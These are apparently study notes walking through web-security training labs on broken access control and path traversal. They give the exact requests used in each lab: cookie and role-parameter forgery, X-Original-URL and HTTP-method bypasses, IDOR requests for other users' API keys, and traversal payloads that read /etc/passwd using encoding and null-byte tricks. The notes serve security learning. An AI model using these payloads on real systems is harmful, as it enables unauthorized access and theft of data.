🔬Vulnerability Labs

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Access control vulnerabilities

🌐 Resources 🔗

• 📽️ Broken Access Control (Long Version) - Rana Khalil

• WSTG-ATHZ-02 - Testing for Bypassing Authorization Schema

Unprotected admin functionality

Find the admin panel and delete the user carlos.

GET /robots.txt

# Response
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45

User-agent: *
Disallow: /administrator-panel

GET /administrator-panel

GET /administrator-panel/delete?username=carlos
# User deleted

Unprotected admin functionality with unpredictable URL

Find the unpredictable admin panel and delete user carlos.

GET /login

• Admin panel found in the code of the / or /login page response for example

<script>
var isAdmin = false;
if (isAdmin) {
   var topLinksTag = document.getElementsByClassName("top-links")[0];
   var adminPanelTag = document.createElement('a');
   adminPanelTag.setAttribute('href', '/admin-ge6wcp');
   adminPanelTag.innerText = 'Admin panel';
   topLinksTag.append(adminPanelTag);
   var pTag = document.createElement('p');
   pTag.innerText = '|';
   topLinksTag.appendChild(pTag);
}
</script>

GET /admin-ge6wcp

GET /admin-ge6wcp/delete?username=carlos
# User deleted

User role controlled by request parameter

Access the /admin panel and use it to delete user carlos.

Admin panel use a forgeable cookie to identify administrators.

User's creds: wiener:peter

POST /login
# The response sets the cookie

GET /admin

• Send this request to the repeater and forge the cookie with Admin=true

• Delete user carlos once the admin panel login is bypassed.

• Burp Proxy interception (or browser Dev Tools) can be used too, while logging in, to set the Cookie to Admin=true, and to access the Admin panel from /my-account .

# Request
GET /admin/delete?username=carlos HTTP/2
Host: 0a060030038bec7c8214d8b600eb00c1.web-security-academy.net
Cookie: Admin=true; session=dxgdmGbBWv76i4PMyyDoYYW666smj1er
...

User role can be modified in user profile

App's /admin panel is accessible only to users with roleid = 2.

Access the /admin panel and use it to delete user carlos.

POST /login HTTP/2
...
username=wiener&password=peter

• Once logged in, update the email

POST /my-account/change-email

• Send this POST request to the repeater and add "roleid:2" into the JSON body

POST /my-account/change-email HTTP/2
Host: 0a2200c20471b32f842c9ada00f700c3.web-security-academy.net
...
{"email":"[email protected]",
 "roleid": 2
}

• Browse to /admin and delete user

URL-based access control can be circumvented

External access to /admin panel is blocked at front-end. Back-end supports X-Original-URL header.

Access the /admin panel and use it to delete user carlos.

GET /admin

• Send a Request to / with an X-Original-URL header pointing top a non-existing resource

  • With re response 404 Not Found it means the app supports the special request headers

GET / HTTP/2
X-Original-Url: /invalid
...

• Send an allowed URL as main and the real target in the X-Original-URL

GET / HTTP/2
X-Original-Url: /admin
...

• Delete user using the X-Original-Url header

GET /?username=carlos HTTP/2
X-Original-Url: /admin/delete
...

Method-based access control can be circumvented

App's access control is based on the HTTP method of requests.

Admin creds: administrator:admin.

Login with wiener:peter credentials and exploit the access control to promote the user to an administrator.

• Login as administrator, promote carlos and send the request to the repeater

• Login with wiener in an incognito windows and get the session cookie. Input the session cookie in the existing repeater request -> Unauthorized

• Change the method to POSTX -> Missing parameter 'username'

• Right click on the request and convert it to GET with Change request method

  • Set the username to wiener and send it

  • GET method is allowed

GET /admin-roles?username=wiener&action=upgrade HTTP/2

• wiener user has access to the admin panel now

User ID controlled by request parameter

Login with wiener:peter credentials and exploit the horizontal privesc vulnerability on the account page to get carlos's API key.

• Login as wiener and send the request to the repeater

• Change the id to id=carlos and send the GET request to get the Carlos's API key

GET /my-account?id=carlos HTTP/2

• Click the Submit solution button and paste the API key to solve the lab - eXXoHWSpwaZpxBAXr7MbVt9GMoEuCpy9

User ID controlled by request parameter, with unpredictable user IDs

The app identifies users with GUIDs.

Login with wiener:peter credentials and exploit the horizontal privesc vulnerability on the account page to get carlos's GUID and API key.

• Find a carlos blog post and get its user ID. /blogs leaks the account's userID

userId=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c

• Login as wiener, go to the account page and send the request to the repeater

• Change the id to id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c and send the GET request to get the Carlos's API key

GET /my-account?id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c HTTP/2

• Click the Submit solution button and paste the API key to solve the lab - p3UtBNlmwKtAnEf0PKgBcW9sPQNJcMLq

User ID controlled by request parameter with data leakage in redirect

The app leaks sensitive information in the body of a redirect response

Login with wiener:peter credentials and exploit the access control vulnerability to get carlos's API key.

• Login as wiener, access the account page via browser and change the id to id=carlos and send the GET request to get the Carlos's API key

GET /my-account?id=carlos HTTP/2

# Response
HTTP/2 302 Found

• This request is redirected to the login page. Check the redirect body content in BurpSuite and find the carlos API key

• Click the Submit solution button and paste the API key to solve the lab - ah9Nwj1bvuWv5uvWPK86EBHZCnghqRHe

User ID controlled by request parameter with password disclosure

The user account page leaks password in a masked input.

Login with wiener:peter credentials, retrieve administrator password and delete carlos user.

• Login as wiener and access the account page

• Change the id to id=administrator and check the response containing the administrator's password

• Login as administrator:dta5qwrsg998j416zqh0 and delete carlos

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Path traversal

🌐 Resources 🔗

• 📽️ What is Directory Traversal? - Intigriti

• 📽️ Directory Traversal attacks are scary easy - TCM

• 📽️ Directory Traversal Playlist- z3nsh3ll

• 📽️ Directory Traversal (Long Version) - Rana Khalil

• WSTG-ATHZ-01 - Testing Directory Traversal File Include

Simple case

Open BurpSuite - Turn off the intercept - Open its internal Browser and open the lab link - Check HTTP history for intercepted requests - Check Images in the Filter settings

• Find a fetched product image Request

  • right click on it and Send to Repeater, or select it and press CTRL+R

• Change the Request

# From this
GET /image?filename=5.jpg

# To this
GET /image?filename=../../../etc/passwd

/etc/passwd content

Traversal sequences blocked with absolute path bypass

The app blocks path traversal sequences but treats the filename as relative to a default working directory.

GET /image?filename=21.jpg

GET /image?filename=../../../etc/passwd # 400 Bad Request

# Try with absolute path
GET /image?filename=/etc/passwd

Traversal sequences stripped non-recursively

The app strips path traversal sequences from the supplied filename before using it.

GET /image?filename=....//....//....//etc/passwd

Traversal sequences stripped with superfluous URL-decode

The app blocks input containing path traversal sequences and then performs URL-decode before using it.

• With ../../../etc/passwd it does not work

• Use BurpSuite Decoder to double URL-Encode the ../../../etc/passwd string

  • \ / should always be encoded

..%2f..%2f..%2fetc%2fpasswd # 400 Bad Request - URL-encoded once

# Doubl URL-Encoded
GET /image?filename=..%252f..%252f..%252fetc%252fpasswd

Validation of start of path

The application transmits the full file path and validates that it starts with the expected folder.

GET /image?filename=/var/www/images/../../../etc/passwd
# or (better)
GET /image?filename=%2fvar%2fwww%2fimages%2f..%2f..%2f..%2fetc%2fpasswd

Validation of file extension with null byte bypass

The app validates the supplied filename end with expected file extension.

• Use a null byte character \0 to represent the end of the string

  • ../../../etc/passwd\0.png > ..%2f..%2f..%2fetc%2fpasswd%00.png

  • the O.S. requests retrieval of the string, it assumes the string is terminated after passwd

GET /image?filename=../../../etc/passwd%00.png
# URL-encoded
GET /image?filename=..%2f..%2f..%2fetc%2fpasswd%00.png

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